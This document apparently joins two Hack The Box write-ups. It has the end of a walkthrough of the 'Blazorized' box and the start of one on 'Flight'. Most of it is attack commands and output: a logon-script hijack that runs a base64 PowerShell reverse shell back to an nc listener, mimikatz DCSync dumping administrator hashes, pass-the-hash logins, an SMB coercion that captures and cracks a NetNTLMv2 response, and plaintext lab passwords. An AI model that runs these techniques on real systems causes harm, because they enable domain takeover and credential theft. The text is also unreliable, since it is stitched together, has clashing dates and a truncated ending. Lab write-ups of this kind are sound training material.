Shell

Validate Creds

The creds work over SMB:

puck@kali$ netexec smb blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.22     445    DC1              [+] blazorized.htb\rsa_4810:(Ni7856Do9854Ki05Ng0005 #) 

They also work over WinRM:

puck@hkali$ netexec winrm blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\rsa_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)

I could also see this from the shell as nu_1055 as rsa_4810 is in the Remote Management Users group:

PS C:\programdata> net user rsa_4810
User name                    RSA_4810
Full Name                    RSA_4810
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:55:59 PM
Password expires             Never
Password changeable          2/26/2024 12:55:59 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   2/2/2024 12:44:30 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Remote_Support_Admini
The command completed successfully.

Evil-WinRM

I’ll connect with evil-winrm:

puck@kali$ evil-winrm -i blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\RSA_4810\Documents>

Shell as SSA_6010

Enumeration

Groups

rsa_4810 is a member of a unique group, Remote_Support_Administrators:

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
BLAZORIZED\Remote_Support_Administrators    Group            S-1-5-21-2039403211-964143010-2924010611-1115 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

Writable Directories

accesschk from Sysinternals is a nice way to check for writable directories. I’ll check for any in C:\Windows, and it finds a bunch:

*Evil-WinRM* PS C:\programdata> .\accesschk64 /accepteula -uwds blazorized\rsa_4810 C:\Windows

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

RW C:\Windows\Tasks
RW C:\Windows\tracing
RW C:\Windows\Registration\CRMLog
 W C:\Windows\System32\Tasks
RW C:\Windows\System32\spool\drivers\color
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\21FDFAAFC1D0
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\DE3FC3AD20F0
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\EA1EBECD3ADA
...[snip]...

 

There’s a ton of output, but the important bit is that rsa_4810 seems to have full control over these two directories:

*Evil-WinRM* PS C:\> icacls \Windows\SYSVOL\domain\scripts\A32FF3AEAA23
\Windows\SYSVOL\domain\scripts\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
                                            BLAZORIZED\Administrator:(OI)(CI)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\> icacls \Windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23
\Windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
BLAZORIZED\Administrator:(OI)(CI)(F)
                                                           BUILTIN\Administrators:(I)(F)
                                                           CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                           NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                                                           NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                                           BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                           BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

These are the directories typically used to store logon, logoff, startup, and shutdown scripts applied to users and computers in the domain.

Users

The only remaining users with home directories are ssa_6010 and administrator. Looking at bit more closely, I’ll see that Bloodhound reports that ssa_6010 has a session on DC1:

The Last Logon time is also today, within a few minutes of the Bloodhound collection:

PowerShell can show this as well:

*Evil-WinRM* PS C:\> [DateTime]::FromFileTime((Get-ADUser SSA_6010 -properties LastLogon).LastLogon)
Friday, November 1, 2024 8:36:43 AM
*Evil-WinRM* PS C:\> date
Friday, November 1, 2024 8:37:11 AM

It seems that ssa_6010 logs on every minute.

Logon Script

The SSA_6010 user doesn’t have any logon script set in their active directory configuration information:

*Evil-WinRM* PS C:\users> Get-ADUser SSA_6010 -properties ScriptPath

DistinguishedName : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
Enabled           : True
GivenName         :
Name              : SSA_6010
ObjectClass       : user
ObjectGUID        : 8bf3166b-e716-4f91-946c-174e1fb433ed
SamAccountName    : SSA_6010
ScriptPath        :
SID               : S-1-5-21-2039403211-964143010-2924010611-1124
Surname           :
UserPrincipalName : SSA_6010@blazorized.htb

However, RSA_4810 is able to set one:

*Evil-WinRM* PS C:\users> Get-ADUser SSA_6010 | Set-ADUser -ScriptPath puck
*Evil-WinRM* PS C:\users> Get-ADUser SSA_6010 -properties ScriptPath

DistinguishedName : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
Enabled           : True
GivenName         :
Name              : SSA_6010
ObjectClass       : user
ObjectGUID        : 8bf3166b-e716-4f91-946c-174e1fb433ed
SamAccountName    : SSA_6010
ScriptPath        : puck
SID               : S-1-5-21-2039403211-964143010-2924010611-1124
Surname           :
UserPrincipalName : SSA_6010@blazorized.htb

Another way to find this while enumerating is with the Find-InterestingDomainAcl commandlet from PowerView.ps1. If I run it and filter for ones that come from RSA_4810, I’ll see that this user has WriteProperty access to SSA_6010’s Script-Path:

*Evil-WinRM* PS C:\programdata> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RSA_4810"}


ObjectDN                : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : WriteProperty
ObjectAceType           : Script-Path
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-2039403211-964143010-2924010611-1107
IdentityReferenceName   : RSA_4810
IdentityReferenceDomain : blazorized.htb
IdentityReferenceDN     : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
IdentityReferenceClass  : user

Execution

Strategy

Logon scripts are specified relative to the scripts directory above. I’m going to set that path to something like A32FF3AEAA23\puck.bat, and then write that script into place as a reverse shell. When SSA_6010 logs in, it’ll execute and I’ll get a shell.

Payload

I’ll grab a PowerShell #3 (Base64) reverse shell from revshells.com and write it to a .bat file using Out-File:

*Evil-WinRM* PS C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23> echo "powershell -e JABj...[snip]...CkA" | Out-File -FilePath puck.bat -Encoding ASCII
*Evil-WinRM* PS C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23> ls puck.bat

    Directory: C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/2/2025   8:48 AM           1344 puck.bat

There is a cleanup script that deletes these files, so I’ll need to move fast.

Exploit

I’ll set SSA_6010’s ScriptPath:

*Evil-WinRM* PS C:\> Get-ADUser SSA_6010 | Set-ADUser -ScriptPath 'A32FF3AEAA23\puck.bat'

In less than a minute, I get a shell at nc:

puck@kali$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.22 53958

PS C:\Windows\system32> 

Shell as administrator

Enumeration

SSA_6010 is a member of the Super_Support_Administrators group, which has significant privileges over the domain:

 

Hash Dump

With DCSync privileges, SSA_6010 can dump all the hashes for the domain. I’ve shown this many times before with secrets-dump from my host (most recently on Mist). But in this case, I don’t have creds as the user that I want to dump with. I’ll use MimiKatz.

I’ll upload it to \programdata (I used my Evil-WinRM shell, but Python webserver would work too). It’s an interactive tool when run as .\mimikatz.exe, which in this reverse shell will just hang and/or fail. But I can pass commands in at the command line in the format mimikatz.exe "[command]" "[command]" exit.

The mimikatz command I want is lsadump::dcsync /user:administrator:

PS C:\programdata> .\mimikatz "lsadump::dcsync /user:administrator" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /user:administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 36ff197ab8f852956e4dcbbe85e38e17

* Primary:Kerberos-Newer-Keys *
    Default Salt : BLAZORIZED.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 29e501350722983735f9f22ab55139442ac5298c3bf1755061f72ef5f1391e5c
      aes128_hmac       (4096) : df4dbea7fcf2ef56722a6741439a9f81
      des_cbc_md5       (4096) : 310e2a0438583dce
    OldCredentials
      aes256_hmac       (4096) : eeb59c1fa73f43372f40f4b0c9261f30ce68e6cf0009560f7744d8871058af2c
      aes128_hmac       (4096) : db4d9e0e5cd7022242f3e03642c135a6
      des_cbc_md5       (4096) : 1c67ef730261a198
    OlderCredentials
      aes256_hmac       (4096) : bb7fcd1148a3863c9122784becf13ff7b412af7d734162ed3cb050375b1a332c
      aes128_hmac       (4096) : 2d9925ef94916523b24e43d1cb8396ee
      des_cbc_md5       (4096) : 9b01158c8923ce68

* Primary:Kerberos *
    Default Salt : BLAZORIZED.HTBAdministrator
    Credentials
      des_cbc_md5       : 310e2a0438583dce
    OldCredentials
      des_cbc_md5       : 1c67ef730261a198

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  7e35fe37aac9f26cecc30390171b6dcf
    02  a8710c4caaab28c0f2260e7c7bd3b262
    03  81eae4cf7d9dadff2073fbf2d5c60539
    04  7e35fe37aac9f26cecc30390171b6dcf
    05  9bc0a87fd20d42df13180a506db93bb8
    06  26d42d164b0b82e89cf335e8e489bbaa
    07  d67d01da1b2beed8718bb6785a7a4d16
    08  7f54f57e971bcb257fc44a3cd88bc0e3
    09  b3d2ebd83e450c6b0709d11d2d8f6aa8
    10  1957f9211e71d307b388d850bdb4223f
    11  2fa495bdf9572e0d1ebb98bb6e268b01
    12  7f54f57e971bcb257fc44a3cd88bc0e3
    13  de0bba1f8bb5b81e634fbaa101dd8094
    14  2d34f278e9d98e355b54bbd83c585cb5
    15  06b7844e04f68620506ca4d88e51705d
    16  97f5ceadabcfdfcc019dc6159f38f59e
    17  ed981c950601faada0a7ce1d659eba95
    18  cc3d2783c1321d9d2d9b9b7170784283
    19  0926e682c1f46c007ba7072444a400d7
    20  1c3cec6d41ec4ced43bbb8177ad6e272
    21  30dcd2ebb2eda8ae4bb2344a732b88f9
    22  b86556a7e9baffb7faad9a153d1943c2
    23  c6e4401e50b8b15841988e4314fbcda2
    24  d64d0323ce75a4f3dcf0b77197009396
    25  4274d190e7bc915d4047d1a63776bc6c
    26  a04215f3ea1d2839a3cdca4ae01e2703
    27  fff4b2817f8298f09fd45c3be4568ab1
    28  2ea3a6b979470233687bd913a8234fc7
    29  73d831d131d5e67459a3949ec0733723


mimikatz(commandline) # exit
Bye!

 

This gives the NTLM hash of the administrator account.

Shell

Evil-WinRM will get a shell as administrator:

puck@kali$ evil-winrm -i blazorized.htb -u administrator -H f55ed1465179ba374ec1cad05b34a5f3
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

And I can grab root.txt:

htb-flight

htb-flight

Flight is a Windows-centered box that puts a unique twist by showing both a Apache and PHP website as well as an internal IIS / ASPX website. I’ll get the PHP site to connect back to my server on SMB, leaking a Net NTLMv2, and crack that to get a plaintext password. I’ll get a list of domain users over RPC, and password spray that password to find another user using the same password. That user has write access to a share, where I’ll drop files designed to provoke another auth back to my server to catch another Net NTLMv2. That user has access to the new IIS site, and can write an ASPX webshell to get a shell as the IIS account. As a service account, it will authenticate over the network as the machine account. I’ll abuse that to get the administrator’s hash and from there a shell.

Recon

nmap

# Nmap 7.93 scan initiated Fri Mar 14 15:20:11 2025 as: nmap -sC -sV -oN flight.nmap 10000 10.10.11.187
Nmap scan report for 10.10.11.187
Host is up (0.0099s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-14 21:20:23Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-03-14T21:20:27
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 14 15:21:04 2025 -- 2 IP addresses (1 host up) scanned in 53.39 seconds

This looks like a Windows DC with the domain name flight.htb, and a hostname of G0.

Lots of ports to potentially look at. I’ll prioritize SMB and Web, and check in with LDAP, Kerberos, and DNS if I don’t find what I need from them.

Subdomain Fuzz

Given the use of DNS names, I’ll fuzz port 80 for potential subdomains with wfuzz:

──(puck㉿kali)-[~/htb/flight]
└─$ wfuzz -u http://10.10.11.187 -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 7069
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.187/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000624:   200        90 L     412 W      3996 Ch     "school"                                             

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

I’ll add both to my /etc/hosts file along with the host name:

10.10.11.187 flight.htb school.flight.htb g0.flight.htb

SMB – TCP 445

crackmapexec confirms the domain and host name:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb 10.10.11.187 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)

It isn’t able to get any information about shares:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb 10.10.11.187 --shares                       
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] Error getting user: list index out of range
SMB         10.10.11.187    445    G0               [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
                                                                                                                      
┌──(puck㉿kali)-[~/htb/flight]
└─$ crackmapexec smb 10.10.11.187 --shares -u puck -p ''    
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] flight.htb\puck: STATUS_LOGON_FAILURE 

flight.htb – TCP 80

Site

The site is for an airline:

Most the links are dead or just lead back to this page.

Tech Stack

The “AIRLINES International Travel” link leads to index.html, which suggests this is a static site.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html,php since I know the site is using .html extensions and potentially PHP:

┌──(puck㉿kali)-[~/htb/flight]
└─$ feroxbuster -u http://flight.htb -x html,php
                                                                                                                      
403      GET        9l       30w      299c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       33w      296c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       30w      333c http://flight.htb/images => http://flight.htb/images/
301      GET        9l       30w      329c http://flight.htb/js => http://flight.htb/js/
301      GET        9l       30w      330c http://flight.htb/css => http://flight.htb/css/
200      GET        2l        7w      109c http://flight.htb/images/img3.gif
200      GET        1l        6w      170c http://flight.htb/images/img2.gif
--snip--
503      GET       11l       44w      399c http://flight.htb/examples
200      GET      706l     4305w   291438c http://flight.htb/IMAGES/bg_img.jpg
200      GET        1l        5w      698c http://flight.htb/IMAGES/bg_box1.jpg
403      GET       11l       47w      418c http://flight.htb/licenses
403      GET       11l       47w      418c http://flight.htb/server-status
200      GET      154l      530w     7069c http://flight.htb/Index.html
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_flight_htb-1741963079.state ...
[###############>----] - 26s    70123/90477   8s      found:140     errors:0      
[###############>----] - 26s    69897/90000   2672/s  http://flight.htb/ 
[####################] - 0s     90000/90000   196507/s http://flight.htb/images/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   494505/s http://flight.htb/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   1875000/s http://flight.htb/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   1323529/s http://flight.htb/js/ie6_warning/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   187110/s http://flight.htb/Images/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   2812500/s http://flight.htb/CSS/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   233766/s http://flight.htb/JS/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   1914894/s http://flight.htb/JS/ie6_warning/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   200893/s http://flight.htb/Js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   365854/s http://flight.htb/Css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   1836735/s http://flight.htb/Js/ie6_warning/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     90000/90000   264706/s http://flight.htb/IMAGES/ => Directory listing (add --scan-dir-listings to scan)

/phpmyadmin is on the box, but returns a forbidden on visiting:

 
┌──(puck㉿kali)-[~/htb/flight]
└─$ curl http://flight.htb//phpmyadmin          
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<p>Additionally, a 403 Forbidden
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 Server at flight.htb Port 80</address>
</body></html>

con, aux, and prn all return 403 for .php, but also these return the same for /con and /con.html. It seems more like an Apache rule match than an actual page.

Nothing else of interest.

school.flight.htb

Site

The site is for an aviation school:

The site is all placeholder text and a few page links, but nothing interesting.

Tech Stack

The main page is index.php. In fact, the other pages that have content have URLs of the form http://school.flight.htb/index.php?view=about.html.

It’s a very common PHP structure where different pages on a site all use index.php that defines the header and footer and menus, and then some parameter specifying what page to include as the body. These are often vulnerable to path traversal (reading outside the current directory) and local file include (including PHP code that is executed) vulnerabilities.

Directory Brute Force

feroxbuster finds nothing interesting:

puck@kali$ feroxbuster -u http://school.flight.htb -x html,php

The same false positive blocks for con, aux, and prn show up here.

Auth as svc_apache

File Read

It’s a very common PHP structure where different pages on a site all use index.php with some parameter specifying what page to include. These are often vulnerable to path traversal (reading outside the current directory) and local file include (including PHP code that is executed) vulnerabilities.

On a Linux box, I’d try to read /etc/passwd. Since this is Windows, I’ll try C:\windows\system32\drivers\etc\hosts, but it returns an error:

 

In fact, just having just view=\ results in the same blocked response. view=. returns nothing, but anything with .. in it also results in the blocked message.

I can try with / instead of \, make sure to use an absolute path, and it works:

image-20221028101354463Click for full size image

Nothing interesting in that file, but it proves directory traversal and file read. It’s not yet clear if it’s an include or just a read.

RFI Test

HTTP

To figure out if it’s a read or include and if remote files are enabled, I’ll try a remote read over HTTP. This will quickly tell me if remote files are allowed, and if so, show if the site is using include or file_get_contents.

I’ll create a dummy PHP file named poc.txt:

<?php echo 'puck was here'; ?>

I’ll see if the server will load it remotely over HTTP by starting a local HTTP server and trying to include it. It works:

image-20221025115340005Click for full size image

Unfortunately for me, its the text of the file, not processed as PHP. The source must be using file_get_contents to load the contents, not include.

SMB

Another way to include a file is over SMB. It won’t get anything that HTTP couldn’t get as far as execution, but the user will try to authenticate, and I could capture a NetNTLMv2 challenge/response (not really a hash, but often called one). I’ll start responder with sudo responder -I tun0, and then visit http://school.flight.htb/index.php?view=//10.10.14.4/share/poc.txt. There’s a hit:

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:d49bf1afb16b568e:25888B10CFDD1D19B10962508F18B4A0:01010000000000000067B483F894DB017E17EF5DF4D6EB6400000000020008005800520038004C0001001E00570049004E002D005100440042005A00580059005900300052003000380004003400570049004E002D005100440042005A0058005900590030005200300038002E005800520038004C002E004C004F00430041004C00030014005800520038004C002E004C004F00430041004C00050014005800520038004C002E004C004F00430041004C00070008000067B483F894DB01060004000200000008003000300000000000000000000000003000006BB4476AA12502962C1B8BCF41739B8A40001AEC54AC8B29CB7853DCEC60FF3E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0034000000000000000000
Crack NetNTLMv2

john will find the password used by the svc_apache account, “S@Ss!K@*t13”:

┌──(puck㉿kali)-[~/htb/flight]
└─$ john svc_apache-net-ntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)     
1g 0:00:00:04 DONE (2025-03-14 15:56) 0.2500g/s 2666Kp/s 2666Kc/s 2666KC/s SADSAM..Ryanelkins
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

 

These creds work over SMB:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 

Auth as S.Moon

SMB Enumeration

Shares

crackmapexec shows the shares, including the standard administrative shares (ADMIN$, C$, and IPC$), the standard shares for a Windows DC (NETLOGON and SYSVOL), and three nonstandard shares (Shared, Users, and Web):

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --shares 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [*] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ            
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ            

I’ll take a look inNETLOGON and SYSVOL, but nothing abnormal or useful jumps out.

Users

The Users share looks like it’s the C:\Users directory on Flight:

┌──(puck㉿kali)-[~/htb/flight]
└─$ smbclient //flight.htb/users -U svc_apache 'S@Ss!K@*t13'
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Thu Sep 22 22:16:56 2022
  ..                                 DR        0  Thu Sep 22 22:16:56 2022
  .NET v4.5                           D        0  Thu Sep 22 21:28:03 2022
  .NET v4.5 Classic                   D        0  Thu Sep 22 21:28:02 2022
  Administrator                       D        0  Mon Oct 31 19:34:00 2022
  All Users                       DHSrn        0  Sat Sep 15 09:28:48 2018
  C.Bum                               D        0  Thu Sep 22 22:08:23 2022
  Default                           DHR        0  Tue Jul 20 21:20:24 2021
  Default User                    DHSrn        0  Sat Sep 15 09:28:48 2018
  desktop.ini                       AHS      174  Sat Sep 15 09:16:48 2018
  Public                             DR        0  Tue Jul 20 21:23:25 2021
  svc_apache                          D        0  Fri Oct 21 20:50:21 2022

        5056511 blocks of size 4096. 1248963 blocks available
smb: \> 

There’s nothing interesting in svc_apache, and svc_apache can’t get into any of the other directories.

Shared

The Shared share looks to be empty:

puck@kali$ smbclient //flight.htb/shared -U svc_apache 'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Oct 28 20:21:28 2022
  ..                                  D        0  Fri Oct 28 20:21:28 2022

                7706623 blocks of size 4096. 3749019 blocks available

Web

The Web share has folders for the two websites:

┌──(puck㉿kali)-[~/htb/flight]
